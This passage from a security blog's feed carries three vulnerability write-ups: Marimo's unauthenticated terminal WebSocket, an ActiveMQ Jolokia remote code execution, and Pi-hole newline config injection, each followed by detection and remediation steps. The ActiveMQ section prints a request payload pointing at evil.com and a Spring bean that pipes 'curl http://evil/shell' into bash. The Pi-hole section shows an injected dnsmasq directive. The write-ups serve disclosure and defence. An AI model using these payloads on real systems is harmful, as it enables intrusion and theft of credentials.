self.close()<br> return<br> if not self.is_platform_supported(): # Only checks platform<br> await self.close()<br> return<br> await self.accept() # ❌ No auth check!<br> # … PTY shell creation logic</pre><p>The terminal endpoint checks whether the server is in running mode and whether the platform supports terminal functionality. But it <strong>never calls `<em>validate_auth()</em>`</strong>. It accepts the connection without verifying who’s on the other end.</p><p>The visual comparison makes the inconsistency painfully obvious:</p><pre>  Authentication Flow Comparison:<br><br>  /ws (Notebook WebSocket):<br>  ┌─────────┐    ┌───────────────┐    ┌──────────┐    ┌──────────┐<br>  │ Connect │───&gt;│ validate_auth │───&gt;│  Accept  │───&gt;│ Notebook │<br>  └─────────┘    └───────┬───────┘    └──────────┘    └──────────┘<br>                         │<br>                    ❌ Reject if<br>                    not authenticated<br><br>  /terminal/ws (Terminal WebSocket):<br>  ┌─────────┐    ┌───────────────┐    ┌──────────┐    ┌──────────┐<br>  │ Connect │───&gt;│ Check mode &amp;  │───&gt;│  Accept  │───&gt;│ PTY Shell│<br>  └─────────┘    │ platform only │    └──────────┘    └──────────┘<br>                 └───────────────┘<br>                 ⚠️ No auth check!<br>                 Anyone gets a shell!</pre><p>This is <a href="https://cwe.mitre.org/data/definitions/306.html">CWE-306: Missing Authentication for Critical Function</a>. The most critical endpoint on the server, the one that provides a full interactive shell, has no authentication.</p><h4>The Attack: From Advisory to AWS Keys in 3 Minutes</h4><p>The exploitation timeline tells a story about how fast the threat landscape moves in 2026.</p><pre>  ┌──────────────────────────────────────────────────────────────┐<br>  │                   CVE-2026-39987 Timeline                    │<br>  ├──────────────────────────────────────────────────────────────┤<br>  │                                                              │<br>  │  T+0h        Advisory published                              │<br>  │  ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─                       │<br>  │  T+9h        First exploit built from advisory               │<br>  │  T+10h       Exploitation in the wild confirmed              │<br>  │  ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─                       │ <br>  │  T+10h 0m    Attacker connects to /terminal/ws               │<br>  │  T+10h 1m    Full PTY shell obtained                         │<br>  │  T+10h 2m    .env file located and read                      │<br>  │  T+10h 3m    AWS keys exfiltrated                            │<br>  │              Total attack time: ~3 minutes                   │<br>  └──────────────────────────────────────────────────────────────┘</pre><p>The attack itself is trivially simple. Here’s the conceptual flow:</p><pre>  Step 1: Attacker opens WebSocket connection to /terminal/ws<br>          (No authentication needed)<br><br>  Step 2: Server creates a PTY (pseudo-terminal) session<br>          Attacker now has an interactive shell<br><br>  Step 3: Attacker runs commands:<br>          $ cat .env<br>          AWS_ACCESS_KEY_ID=AKIA...<br>          AWS_SECRET_ACCESS_KEY=...<br>          DATABASE_URL=postgres://...<br>          OPENAI_API_KEY=sk-...<br><br>  Step 4: Credentials exfiltrated<br>          Attacker now has cloud access, database access,<br>          and API keys for AI services<br><br>  Total time: under 3 minutes<br>  Authentication required: none</pre><p>No exploit development needed. No shellcode. No memory corruption. Just a WebSocket client and a missing auth check.</p><h4>Why This Matters: The AI/ML Toolchain Is Under Attack</h4><p>CVE-2026–39987 is not an isolated incident. It’s part of a <strong>pattern</strong> that emerged clearly in April 2026.</p><pre>| CVE | Product | Type | Status |<br>|: - -|: - -|: - -|: - -|<br>| CVE-2026–39987 | Marimo | Pre-Auth RCE (WebSocket) | Exploited in 10 hours |<br>| CVE-2026–33017 | Langflow | RCE | CISA KEV (March 26) |<br>| CVE-2026–5059 | aws-mcp-server | Command Injection RCE | Public advisory |<br>| TorchGeo | TorchGeo | eval() RCE | Public advisory |</pre><p>Four AI/ML development tools hit with critical RCE vulnerabilities in a single month. This is not a coincidence. It’s a trend.</p><p><strong>Why attackers are targeting AI/ML tools:</strong></p><pre>  ┌─────────────────────────────────────────────────┐<br>  │        Why AI/ML Tools Are Prime Targets        │<br>  ├─────────────────────────────────────────────────┤<br>  │                                                 │<br>  │  1. They&#39;re DESIGNED to execute arbitrary code  │<br>  │     (that&#39;s literally what notebooks do)        │<br>  │                                                 │<br>  │  2. They run with elevated privileges           │<br>  │     (GPU access, cloud SDKs, network access)    │<br>  │                                                 │<br>  │  3. They contain high-value credentials         │<br>  │     (AWS keys, API tokens, DB connections)      │<br>  │                                                 │<br>  │  4. They&#39;re often exposed to the network        │<br>  │     (for collaboration and remote access)       │<br>  │                                                 │<br>  │  5. Security hardening is an afterthought       │<br>  │     (focus is on features and UX, not security) │<br>  │                                                 │<br>  │  6. Users are researchers, not security experts │<br>  │     (default configs, weak passwords, no VPN)   │<br>  └─────────────────────────────────────────────────┘</pre><p>The AI/ML development pipeline is becoming the new shadow IT. Data scientists spin up notebook servers, model training environments, and API endpoints with minimal oversight from security teams. These tools have broad access to cloud resources and sensitive data but rarely go through the same security review process as production applications.</p><h4>Who’s at Risk?</h4><p><strong>Critical risk:</strong><br>- Marimo instances exposed to the internet (check Shodan and Censys)<br>- Cloud-hosted Marimo instances on public IPs<br>- Marimo running in shared environments (co-working spaces, university labs, shared servers)</p><p><strong>High risk:</strong><br>- Marimo accessible from the internal network without additional auth layers<br>- Instances storing cloud credentials in .env files or environment variables<br>- Docker deployments with exposed ports</p><p><strong>Lower risk (but still patch):</strong><br>- Marimo behind VPN with additional authentication<br>- Local-only instances (localhost binding)<br>- Instances without sensitive credentials</p><h4>Detection</h4><p>I built a <strong>Python scanner</strong> and <strong>Nmap NSE script</strong> for detecting vulnerable Marimo instances.</p><p>&gt;Github: <a href="https://github.com/keraattin/CVE-2026-39987">https://github.com/keraattin/CVE-2026-39987</a></p><h4>How the Detection Works</h4><p>The scanner performs a multi-step check:</p><pre>  Step 1: Marimo Identification<br>  ────────────────────────────────<br>  Queries /api/status, /api/health, /<br>  Looks for &quot;marimo&quot; indicators in response<br>  Extracts version if available<br><br><br>  Step 2: WebSocket Handshake Test<br>  ────────────────────────────────<br>  Sends HTTP Upgrade request to /terminal/ws<br>  <br>  101 Switching Protocols → Accessible ⚠️ CRITICAL<br>  401/403 → Auth required (patched or hardened)<br>  404 → Endpoint not found<br><br><br>  Step 3: Differential Auth Check<br>  ────────────────────────────────<br>  Compares /terminal/ws vs /ws behavior<br>  <br>  /terminal/ws: accepts without auth<br>  /ws: requires auth<br>  → Classic CVE-2026-39987 signature ⚠️<br><br><br>  Step 4: Version Vulnerability Check<br>  ────────────────────────────────<br>  Compares detected version against:<br>  &lt;= 0.20.4 → Vulnerable (confirmed range)<br>  &lt; 0.23.0  → Likely vulnerable<br>  &gt;= 0.23.0 → Patched</pre><p><strong>No commands are executed on target systems.</strong> The WebSocket handshake is tested but no data is sent through the connection. The check is entirely passive and safe for production.</p><h4>Remediation</h4><p><strong>Right now:</strong><br>1. Upgrade to Marimo <strong>0.23.0</strong> or later<br>2. If you cannot patch immediately, restrict network access to your Marimo instance (firewall, VPN, SSH tunnel)<br>3. Check for unauthorized WebSocket connections in your server logs</p><p><strong>This week:</strong><br>4. Rotate ALL credentials that were accessible from Marimo instances (AWS keys, API tokens, database passwords, cloud credentials)<br>5. Audit cloud provider activity logs for unauthorized API calls using potentially compromised credentials<br>6. Review .env files and environment variables for sensitive data exposure</p><p><strong>Going forward:</strong><br>7. Never expose notebook environments directly to the internet<br>8. Use VPN or SSH tunnels for remote access to development tools<br>9. Treat AI/ML development environments as high-security assets<br>10. Include notebook servers and AI tools in your regular vulnerability scanning program</p><h4>The Lesson: Authentication Consistency Is Not Optional</h4><p>CVE-2026–39987 is a textbook example of <strong>inconsistent security controls</strong>. The developers correctly implemented authentication on the primary WebSocket endpoint. But the terminal endpoint, arguably the more dangerous one (it provides a shell), was left unprotected.</p><p>This is a common pattern in software development. Security controls are applied to the “main” features during the initial security review, but auxiliary features, debugging endpoints, and management interfaces slip through. The terminal endpoint was probably added later as a convenience feature, and the auth check was simply not copied from the other endpoint.</p><p>The broader lesson is about the AI/ML toolchain as an attack surface. As organizations rush to adopt AI and ML technologies, the tools in the development pipeline are becoming high-value targets. These tools have privileged access, contain sensitive credentials, and are often deployed with the security posture of a development prototype rather than a production system.</p><p>If your organization is doing AI/ML work, your security team should be auditing the tools as aggressively as the models and the production infrastructure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f65c00ed2023" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[13 Years in the Dark: How a Hidden ActiveMQ Flaw Turns Your Message Broker Into a Backdoor…]]></title>
            <link>https://medium.com/@keraattin/13-years-in-the-dark-how-a-hidden-activemq-flaw-turns-your-message-broker-into-a-backdoor-baea9254996f?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/baea9254996f</guid>
            <category><![CDATA[apache-activemq]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 21:28:29 GMT</pubDate>
            <atom:updated>2026-04-14T21:28:29.298Z</atom:updated>
            <content:encoded><![CDATA[<h3>13 Years in the Dark: How a Hidden ActiveMQ Flaw Turns Your Message Broker Into a Backdoor CVE-2026–34197</h3><p>Breaking down CVE-2026–34197: a remote code execution vulnerability in Apache ActiveMQ Classic that hid in the Jolokia API for over a decade. Plus: open-source detection tools to find it in your environment.</p><p>Imagine a vulnerability so subtle it survived 13 years of code reviews, penetration tests, and security audits. Not in some obscure library. In <strong>Apache ActiveMQ</strong>, one of the most widely deployed open-source message brokers on the planet.</p><p><strong>CVE-2026–34197</strong> is a remote code execution vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary code by sending a single POST request to the Jolokia API. The attacker tricks the broker into fetching and executing a malicious Spring XML configuration from an external server.</p><p>On ActiveMQ versions 6.0.0 through 6.1.1, this is <strong>completely unauthenticated</strong>. No credentials. No session token. No interaction. Just a POST request and a waiting web server.</p><p>The vulnerability was patched in versions 5.19.4 and 6.2.3. If you’re running anything below those versions, this article explains exactly what’s at risk and how to detect it.</p><h4>What Is ActiveMQ and Why Should You Care?</h4><p>Apache ActiveMQ Classic is one of the most popular open-source message brokers in the Java ecosystem. It implements the JMS (Java Message Service) specification and is the backbone of message-driven architectures across thousands of enterprises worldwide.</p><p>If your organization uses microservices, event-driven architecture, or any form of asynchronous communication between backend systems, there’s a good chance ActiveMQ is somewhere in the stack. It handles everything from order processing queues to financial transaction pipelines to IoT telemetry streams.</p><pre>                          ActiveMQ Broker<br>                      ┌─────────────────────┐<br>                      │                     │<br>  ┌──────────┐        │   ┌─────────────┐   │        ┌──────────┐<br>  │ Producer │───────&gt;│   │   Message   │   │───────&gt;│ Consumer │<br>  │ (App A)  │  send  │   │   Queue /   │   │  recv  │ (App B)  │<br>  └──────────┘        │   │   Topic     │   │        └──────────┘<br>                      │   └─────────────┘   │<br>  ┌──────────┐        │                     │        ┌──────────┐<br>  │ Producer │───────&gt;│   ┌─────────────┐   │───────&gt;│ Consumer │<br>  │ (App C)  │        │   │  Jolokia    │   │        │ (App D)  │<br>  └──────────┘        │   │  API (:8161)│   │        └──────────┘<br>                      │   └──────┬──────┘   │<br>                      └──────────┼──────────┘<br>                                 │<br>                          ⚠️ CVE-2026-34197<br>                          Attack surface here</pre><p>When an attacker compromises ActiveMQ, they don’t just get a shell on one server. They get a position in the <strong>middle of every message flow</strong> in the organization. They can read, modify, or redirect messages between critical systems. They can inject malicious messages into processing queues. And they can use the compromised broker as a pivot point for lateral movement.</p><p>That’s why this CVE matters.</p><h4>The Architecture: Jolokia and JMX</h4><p>To understand the vulnerability, you need to understand Jolokia.</p><p><strong>JMX</strong> (Java Management Extensions) is the standard management interface for Java applications. It exposes “MBeans” (Managed Beans) that allow monitoring and control of the application’s internals. ActiveMQ exposes MBeans for managing brokers, queues, topics, connections, and more.</p><p><strong>Jolokia</strong> is a JMX-over-HTTP bridge. It translates JMX operations into a RESTful JSON API, making it possible to manage Java applications through HTTP requests instead of requiring a JMX client.</p><p>ActiveMQ Classic ships with Jolokia built in, accessible at `<em>/api/jolokia/</em>` on the web console port (default: 8161).</p><pre>                    Traditional JMX Access<br>  ┌──────────┐         JMX Protocol           ┌──────────────┐<br>  │ JConsole │ ─────────────────────────────&gt; │  ActiveMQ    │<br>  │          │      (requires JMX client)     │  MBeans      │<br>  └──────────┘                                └──────────────┘<br><br>                    Jolokia HTTP Access<br>  ┌──────────┐         HTTP/JSON              ┌──────────────┐<br>  │  curl /  │ ──── POST /api/jolokia/ ─────&gt; │  ActiveMQ    │<br>  │ browser  │      (just needs HTTP)         │  MBeans      │<br>  └──────────┘                                └──────────────┘<br>                          ⬆️<br>              Anyone with HTTP access can<br>              invoke MBean operations</pre><p>This is where the trouble starts. Jolokia exposes the full power of JMX management through a simple HTTP API. And one of the MBean operations available on the broker is `<em>addNetworkConnector(String)</em>`.</p><h4>The Vulnerability: From Config URI to Code Execution</h4><p>The `<em>addNetworkConnector(String)</em>` operation is designed to create network bridges between ActiveMQ broker instances. It accepts a URI string that describes how to connect to another broker.</p><p>ActiveMQ supports a special URI scheme: `<em>vm://</em>`. This creates an in-process broker connection. And `<em>vm://</em>` URIs support a `<em>brokerConfig</em>` parameter that points to a Spring XML configuration file defining the broker’s settings.</p><p>Here’s the critical chain:</p><pre>  Step 1: Attacker sends POST to /api/jolokia/<br>  ┌────────────────────────────────────────────────────────────┐<br>  │ POST /api/jolokia/                                         │<br>  │ {                                                          │<br>  │   &quot;type&quot;: &quot;exec&quot;,                                          │<br>  │   &quot;mbean&quot;: &quot;org.apache.activemq:type=Broker,brokerName=    │<br>  │             localhost&quot;,                                    │<br>  │   &quot;operation&quot;: &quot;addNetworkConnector&quot;,                      │<br>  │   &quot;arguments&quot;: [                                           │<br>  │     &quot;vm://broker?brokerConfig=xbean:http://evil.com/x.xml&quot; │<br>  │   ]                                                        │<br>  │ }                                                          │<br>  └────────────────────────────────────────────────────────────┘<br>                              │<br>                              ▼<br>  Step 2: ActiveMQ parses the vm:// URI<br>          Sees brokerConfig=xbean:http://evil.com/x.xml<br>                              │<br>                              ▼<br>  Step 3: ActiveMQ fetches http://evil.com/x.xml<br>          (outbound HTTP request from the broker)<br>                              │<br>                              ▼<br>  Step 4: The XML is parsed as Spring configuration<br>          Spring instantiates beans defined in the XML<br>                              │<br>                              ▼<br>  Step 5: Malicious bean executes arbitrary Java code<br>          ┌──────────────────────────────────────────┐<br>          │ &lt;bean class=&quot;java.lang.ProcessBuilder&quot;&gt;  │<br>          │   &lt;constructor-arg&gt;                      │<br>          │     &lt;list&gt;                               │<br>          │       &lt;value&gt;/bin/bash&lt;/value&gt;           │<br>          │       &lt;value&gt;-c&lt;/value&gt;                  │<br>          │       &lt;value&gt;curl http://evil/shell|bash │<br>          │       &lt;/value&gt;                           │<br>          │     &lt;/list&gt;                              │<br>          │   &lt;/constructor-arg&gt;                     │<br>          │ &lt;/bean&gt;                                  │<br>          └──────────────────────────────────────────┘</pre><p>The beauty (from an attacker’s perspective) of this exploit is that ActiveMQ is doing exactly what it was designed to do. It’s loading a broker configuration. The problem is that the configuration source is controlled by the attacker, and Spring XML is effectively a code execution format.</p><p>&gt; <strong>Think of it this way:</strong> it’s like telling a chef “here’s my recipe” and the chef follows every instruction without question, including “now hand me the keys to the kitchen.”</p><h4>The Authentication Problem</h4><p>Here’s where things get really interesting.</p><pre>| ActiveMQ Version | Jolokia Auth Status | Impact |<br>|: - -:|: - -:|: - -:|<br>| 5.x (&lt; 5.19.4) | Authenticated (but defaults: admin:admin) | Auth&#39;d RCE, often trivially bypassed |<br>| 6.0.0 to 6.1.1 | **Completely unauthenticated** | **Unauthenticated RCE** |<br>| 6.1.2 to 6.2.2 | Authenticated | Auth&#39;d RCE |<br>| 5.19.4+ / 6.2.3+ | Patched | Not vulnerable |</pre><p>On ActiveMQ 6.0.0 through 6.1.1, the Jolokia endpoint requires <strong>no authentication whatsoever</strong>. This means anyone who can reach port 8161 on the network gets full unauthenticated remote code execution.</p><p>Even on versions where Jolokia requires authentication, the default credentials `<em>admin:admin</em>` are widely known and frequently left unchanged in development, staging, and unfortunately production environments.</p><h4>The 13-Year Timeline</h4><p>This vulnerability isn’t new code. The `<em>addNetworkConnector</em>` operation and its ability to process `<em>brokerConfig</em>` URIs have been part of ActiveMQ for <strong>over 13 years</strong>. The Jolokia integration that exposed it over HTTP has been present for nearly as long.</p><p>What’s remarkable is that this attack vector was identified with the assistance of AI. An AI model analyzing the ActiveMQ codebase flagged the `<em>addNetworkConnector</em>` operation as a potential code execution vector within minutes, connecting the dots between the Jolokia API exposure, the `<em>vm://</em>` URI scheme, the `<em>brokerConfig</em>` parameter, and Spring XML’s code execution capabilities.</p><p>This raises fascinating questions about the future of vulnerability research. If an AI can find a 13-year-old RCE in a major open-source project in minutes, what else is hiding in the codebases we’ve been manually reviewing for decades?</p><h4>Real-World Impact</h4><p>ActiveMQ is deployed in environments where reliability and message integrity are critical:</p><p>- <strong>Financial services</strong>: transaction processing, trade execution, settlement systems<br>- <strong>Healthcare</strong>: HL7 message routing, patient data exchange, lab results<br>- <strong>E-commerce</strong>: order processing, inventory management, shipping notifications<br>- <strong>IoT</strong>: device telemetry aggregation, command and control, firmware updates<br>- <strong>Enterprise integration</strong>: ESB middleware, microservice communication, event sourcing</p><p>An attacker who compromises the message broker sits at the center of all these data flows. The potential for damage goes far beyond simple host compromise.</p><pre>  What an attacker can do after exploiting ActiveMQ:<br><br>  ┌────────────────────────────────────────────────────┐<br>  │                   Compromised                      │<br>  │                   ActiveMQ                         │<br>  │                   Broker                           │<br>  ├────────────┬────────────┬──────────┬───────────────┤<br>  │            │            │          │               │<br>  ▼            ▼            ▼          ▼               ▼<br>  Read/modify  Inject       Pivot to   Intercept      Deploy<br>  messages     malicious    connected  credentials    persistence<br>  in transit   messages     systems    from messages  mechanisms</pre><h4>Detection: Finding Vulnerable Instances</h4><p>I built a <strong>Python scanner</strong> and <strong>Nmap NSE script</strong> for detecting vulnerable ActiveMQ instances. Both use safe, non-destructive checks.</p><p>&gt; <strong>GitHub:</strong> <a href="https://github.com/keraattin/CVE-2026-34197">https://github.com/keraattin/CVE-2026-34197</a></p><h4>How the Detection Works</h4><p>The scanner performs four checks in sequence:</p><pre> Check 1: Jolokia Endpoint Accessibility<br>  ─────────────────────────────────────────<br>  GET /api/jolokia/<br>  <br>  200 → Accessible without auth ⚠️ CRITICAL<br>  401 → Requires auth (try defaults)<br>  404 → Not ActiveMQ or Jolokia disabled<br>  403 → Restricted access<br><br><br>  Check 2: ActiveMQ Version Detection<br>  ─────────────────────────────────────────<br>  Scrapes /admin/ and / pages<br>  Regex: ActiveMQ[\D]*(\d+\.\d+\.\d+)<br>  <br>  Maps version to vulnerability status<br><br><br>  Check 3: Default Credential Test<br>  ─────────────────────────────────────────<br>  Tests: admin:admin, user:user, admin:activemq<br>  <br>  If any work → elevated risk<br><br><br>  Check 4: MBean Accessibility<br>  ─────────────────────────────────────────<br>  Jolokia search for org.apache.activemq:type=Broker<br>  <br>  If accessible → confirms exploit path exists</pre><p>No exploit payloads are sent. No commands are executed. The scanner only observes endpoint accessibility and version information.</p><h4>Indicators of Compromise</h4><p>If you’ve been running a vulnerable version, here’s what to look for:</p><pre>| Indicator | Where to Check | What to Look For |<br>|: - -|: - -|: - -|<br>| Jolokia access | Web console access logs | POST to /api/jolokia/ with addNetworkConnector |<br>| Outbound fetch | Network logs / firewall | HTTP requests from ActiveMQ to unexpected external hosts |<br>| Spring XML loading | ActiveMQ logs | References to xbean:http:// URIs |<br>| Network connectors | Broker config | vm:// URIs with brokerConfig parameters you didn&#39;t create |<br>| Child processes | Process monitoring | Unexpected processes spawned by the ActiveMQ Java process |</pre><h4>Remediation</h4><p><strong>Immediate actions:</strong><br>1. Upgrade to ActiveMQ Classic <strong>5.19.4 </strong>or <strong>6.2.3</strong><br>2. If you cannot patch immediately, restrict access to `<em>/api/jolokia/</em>` via reverse proxy rules or firewall ACLs<br>3. Change default Jolokia credentials if you haven’t already</p><p><strong>This week:</strong><br>4. Audit all ActiveMQ instances for unauthorized network connectors<br>5. Review web console access logs for suspicious Jolokia requests<br>6. Check for unexpected outbound HTTP connections from broker hosts<br>7. Verify network segmentation around message broker infrastructure</p><p><strong>Going forward:</strong><br>8. Treat message brokers as Tier 1 critical infrastructure in your security program<br>9. Monitor Jolokia access patterns and alert on unexpected operations<br>10. Include ActiveMQ in your regular vulnerability scanning and patch management cycles</p><h4>The Bigger Picture</h4><p>CVE-2026–34197 teaches us several lessons.</p><p>First, <strong>middleware and infrastructure components are high-value targets</strong>. A message broker sits at the intersection of every application that uses it. Compromising ActiveMQ is not like compromising a single web application. It’s compromising the communication fabric of the organization.</p><p>Second, <strong>management interfaces are often the weakest link</strong>. The actual message transport (OpenWire, AMQP, STOMP) wasn’t the problem. The HTTP management interface, Jolokia, was the entry point. Management APIs are frequently less hardened than production interfaces because they’re “internal.”</p><p>Third, <strong>13 years is a long time for a critical RCE to hide</strong>. This bug survived because the individual components (Jolokia, addNetworkConnector, brokerConfig, Spring XML) each seem reasonable in isolation. The vulnerability only emerges when you chain them together. It’s a reminder that security reviews need to consider complete attack paths, not just individual functions.</p><p>If you’re running ActiveMQ Classic, check your version today. And if you’re responsible for any Java middleware with JMX exposure, this is a good time to audit what operations are accessible through your management interfaces.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=baea9254996f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Pi-hole Is Probably Vulnerable: How a Newline Character Leads to Full System Compromise…]]></title>
            <link>https://medium.com/@keraattin/your-pi-hole-is-probably-vulnerable-how-a-newline-character-leads-to-full-system-compromise-737067aa72d6?source=rss-778c8f496cd2------2</link>
            <guid isPermaLink="false">https://medium.com/p/737067aa72d6</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pihole]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <dc:creator><![CDATA[Kerem]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 07:44:59 GMT</pubDate>
            <atom:updated>2026-04-14T07:44:59.671Z</atom:updated>
            <content:encoded><![CDATA[<h3>Your Pi-hole Is Probably Vulnerable: How a Newline Character Leads to Full System Compromise CVE-2026–35517</h3><p>Breaking down CVE-2026–35517 a class of newline injection bugs in Pi-hole’s FTLDNS engine that turn a DNS configuration API into a remote code execution vector. Plus: open-source detection tools.</p><p>Pi-hole is everywhere. It runs on Raspberry Pis in apartments, on VMs in corporate networks, in Docker containers at startups. Millions of devices trust it as their sole DNS resolver. It’s one of the most popular open-source projects in the network security space.</p><p>And until version 6.6, released on April 3, 2026, it had a devastating flaw: <strong>any authenticated user could achieve full remote code execution</strong> on the host system by injecting a newline character into a DNS configuration field.</p><p>Not a buffer overflow. Not a deserialization bug. Not a complex exploit chain. A newline character `<em>\n</em>` in a text field.</p><p>The vulnerability is tracked as <strong>CVE-2026–35517</strong> (CVSS 8.8), but it’s actually just the tip of the iceberg. The researcher who found it, T0X1Cx, discovered that <strong>five different API parameters</strong> shared the exact same flaw. All five were patched together in FTL v6.6.</p><p>If you’re running Pi-hole with FTLDNS 6.0 through 6.5, this is your sign to run `<em>pihole -up</em>` right now. Then come back and read the rest. I promise it’s worth understanding how this works.</p><h4>How Pi-hole Works Under the Hood</h4><p>To understand why a newline in a DNS configuration field leads to command execution, you need to understand the plumbing.</p><p>Pi-hole’s core engine is <strong>FTLDNS</strong> (Faster Than Light DNS) a custom wrapper around <strong>dnsmasq</strong>, the well-known DNS and DHCP server. Here’s the architecture:</p><pre>+------------------+            +------------------+               +------------------+<br>|   Admin Panel    |  API/Web   |  FTLDNS Engine   | Config Write  |    dnsmasq       |<br>|    (Web UI)      | ---------&gt; |  (pihole-FTL)    | ------------&gt; |   (DNS/DHCP)     |<br>+------------------+            +------------------+               +------------------+<br>                                        |                                   |<br>                                  Reads settings,                     Reads config,<br>                                  writes to config                    serves DNS/DHCP<br>                                  files on disk                       to network</pre><p>The key detail: <strong>FTLDNS generates dnsmasq configuration files from user-supplied settings</strong>. When you change the upstream DNS server in the Pi-hole admin panel, FTLDNS takes your input, writes it into a dnsmasq config file as a `<em>server=</em>` directive, and restarts dnsmasq.</p><p>That config-write path is where the vulnerability lives.</p><h4>The Bug: Configuration as Code</h4><p>dnsmasq config files are line-based. Each line is a separate directive:</p><pre>server=8.8.8.8<br>server=1.1.1.1</pre><p>FTLDNS takes the user-supplied DNS address and writes it in this format. Simple.</p><p>But <strong>FTLDNS doesn’t strip newline characters from the input</strong>.</p><p>So when an attacker submits this as their “upstream DNS server”:</p><pre>8.8.8.8\ndhcp-option=6,evil.dns.server</pre><p>FTLDNS dutifully writes it to disk:</p><pre>server=8.8.8.8<br>dhcp-option=6,evil.dns.server</pre><p>That second line is now a <strong>legitimate dnsmasq directive</strong>. dnsmasq reads the config file line by line and has no way to know that line was injected rather than intentionally configured.</p><p>This is <a href="https://cwe.mitre.org/data/definitions/93.html">CWE-93: Improper Neutralization of CRLF Sequences</a>. The code that translates user input into configuration directives failed to sanitize control characters. It’s the config-file equivalent of SQL injection untrusted input crossing into a domain where it’s interpreted as instructions.</p><h4>From Newline to Root: The Kill Chain</h4><p>“OK,” you might be thinking, “you can inject dnsmasq config directives. How does that become code execution?”</p><p>dnsmasq is more powerful than most people realize. Its configuration language supports directives that can:</p><p>- <strong>Write to arbitrary file paths</strong> via `<em>addn-hosts</em>`, `<em>conf-file</em>`, `<em>dhcp-hostsfile</em>`<br>- <strong>Execute scripts</strong> on DHCP events via `<em>dhcp-script</em>`<br>- <strong>Redirect logging</strong> to arbitrary paths via `<em>log-facility</em>`<br>- <strong>Override system DNS behavior</strong> via `<em>resolv-file</em>`, `<em>no-resolv</em>`</p><p>By carefully choosing which directives to inject, an attacker chains from configuration injection to arbitrary command execution:</p><pre>Step 1: Authenticate to Pi-hole<br>        (default password, weak creds, CSRF, session hijack)<br><br>Step 2: Send API request with newline-injected payload:<br>        POST /api/dns/upstream<br>        { &quot;upstreams&quot;: [&quot;8.8.8.8\n&lt;malicious dnsmasq directive&gt;&quot;] }<br><br>Step 3: FTLDNS writes the payload to the config file<br>        without sanitizing the newline<br><br>Step 4: dnsmasq restarts and parses the injected directive<br>        as legitimate configuration<br><br>Step 5: Depending on the injected directive:<br>        - Command execution on the host system<br>        - DNS hijacking for all network clients<br>        - DHCP poisoning across the network<br>        - Arbitrary file writes for persistence</pre><p>The critical insight: <strong>dnsmasq is working as designed</strong>. It faithfully executes the configuration it’s given. The vulnerability is that FTLDNS allows untrusted user input to bleed into that configuration, turning a settings API into an arbitrary instruction injection point.</p><h4>Five Bugs, One Pattern</h4><p>Here’s what makes this particularly interesting from a security research perspective.</p><p>The same newline injection pattern affects <strong>five different FTLDNS API parameters</strong> every single one that writes to dnsmasq configuration files:</p><pre>| Advisory | Parameter | What It Configures |<br>| - - - - - | - - - - - -| - - - - - - - - - -|<br>| **GHSA-23w8–7333-p9fj** | `dns.upstreams` | Upstream DNS servers |<br>| **GHSA-wxhv-w77q-6qwp** | `dns.hostRecord` | Custom DNS host records |<br>| **GHSA-28g5-gg88-wh5m** | `dns.cnameRecords` | CNAME record mappings |<br>| **GHSA-fqv2-qhfh-ghcj** | `dhcp.leaseTime` | DHCP lease duration |<br>| **GHSA-vfmq-jrx3-wv3c** | `dhcp.hosts` | Static DHCP host assignments |</pre><p>This wasn’t a single oversight in one code path. It was a <strong>systemic absence of input sanitization</strong> across the entire configuration-write pipeline. None of these parameters validated for control characters before writing to disk.</p><p>When a researcher finds the same bug in five places, that’s a sign that the codebase lacks a centralized input validation layer for the relevant data flow. The fix in FTL v6.6 addressed this by adding proper validation that rejects newline characters (and other control characters) across all configuration parameters.</p><h4>Why This Is Worse Than It Looks</h4><p>The authentication requirement might make this seem less severe. Don’t be fooled.</p><p><strong>The auth bar is low.</strong> Pi-hole uses a single admin password. Many home users never change the default. In corporate environments, the admin panel is often accessible to the entire LAN. Default credentials are one of the most commonly exploited attack vectors and Pi-hole is no exception.</p><p><strong>CSRF could eliminate the auth requirement entirely.</strong> If an attacker can get a Pi-hole admin to visit a malicious webpage while logged into the Pi-hole interface, a cross-site request could trigger the injection without any direct authentication.</p><p><strong>The downstream impact is massive.</strong> Pi-hole is typically the <strong>sole DNS server</strong> for the entire network. Compromise it, and you control name resolution for every connected device:</p><p>- <strong>DNS hijacking</strong> — redirect any domain to any IP address<br>- <strong>DHCP poisoning</strong> — push malicious configurations to every DHCP client<br>- <strong>Credential harvesting</strong> — redirect login pages to attacker-controlled servers<br>- <strong>Malware distribution</strong> — poison software update domains to serve malicious payloads<br>- <strong>Man-in-the-middle </strong>— position yourself to intercept any network communication</p><p>One compromised Raspberry Pi in the corner of someone’s apartment becomes a control point for every phone, laptop, tablet, and IoT device on that network.</p><h4>Who’s at Risk?</h4><p><strong>High risk:</strong><br>- Pi-hole exposed to the internet (thousands are on Shodan)<br>- Default or weak admin passwords (more common than you’d think)<br>- Instances accessible from untrusted network segments<br>- Shared environments where multiple users are on the same network</p><p><strong>Moderate risk:</strong><br>- Well-segmented home networks with strong, unique admin passwords<br>- Deployments behind VPN with additional authentication</p><p><strong>Lower risk (but still patch):</strong><br>- Fully isolated instances<br>- API-disabled or read-only deployments</p><h4>Detection</h4><p>I built a <strong>Python scanner</strong> and <strong>Nmap NSE module</strong> for detecting vulnerable Pi-hole instances. Both use safe, read-only checks.</p><p>&gt;GitHub: <a href="https://github.com/keraattin/CVE-2026-35517">https://github.com/keraattin/CVE-2026-35517</a></p><h4>How It 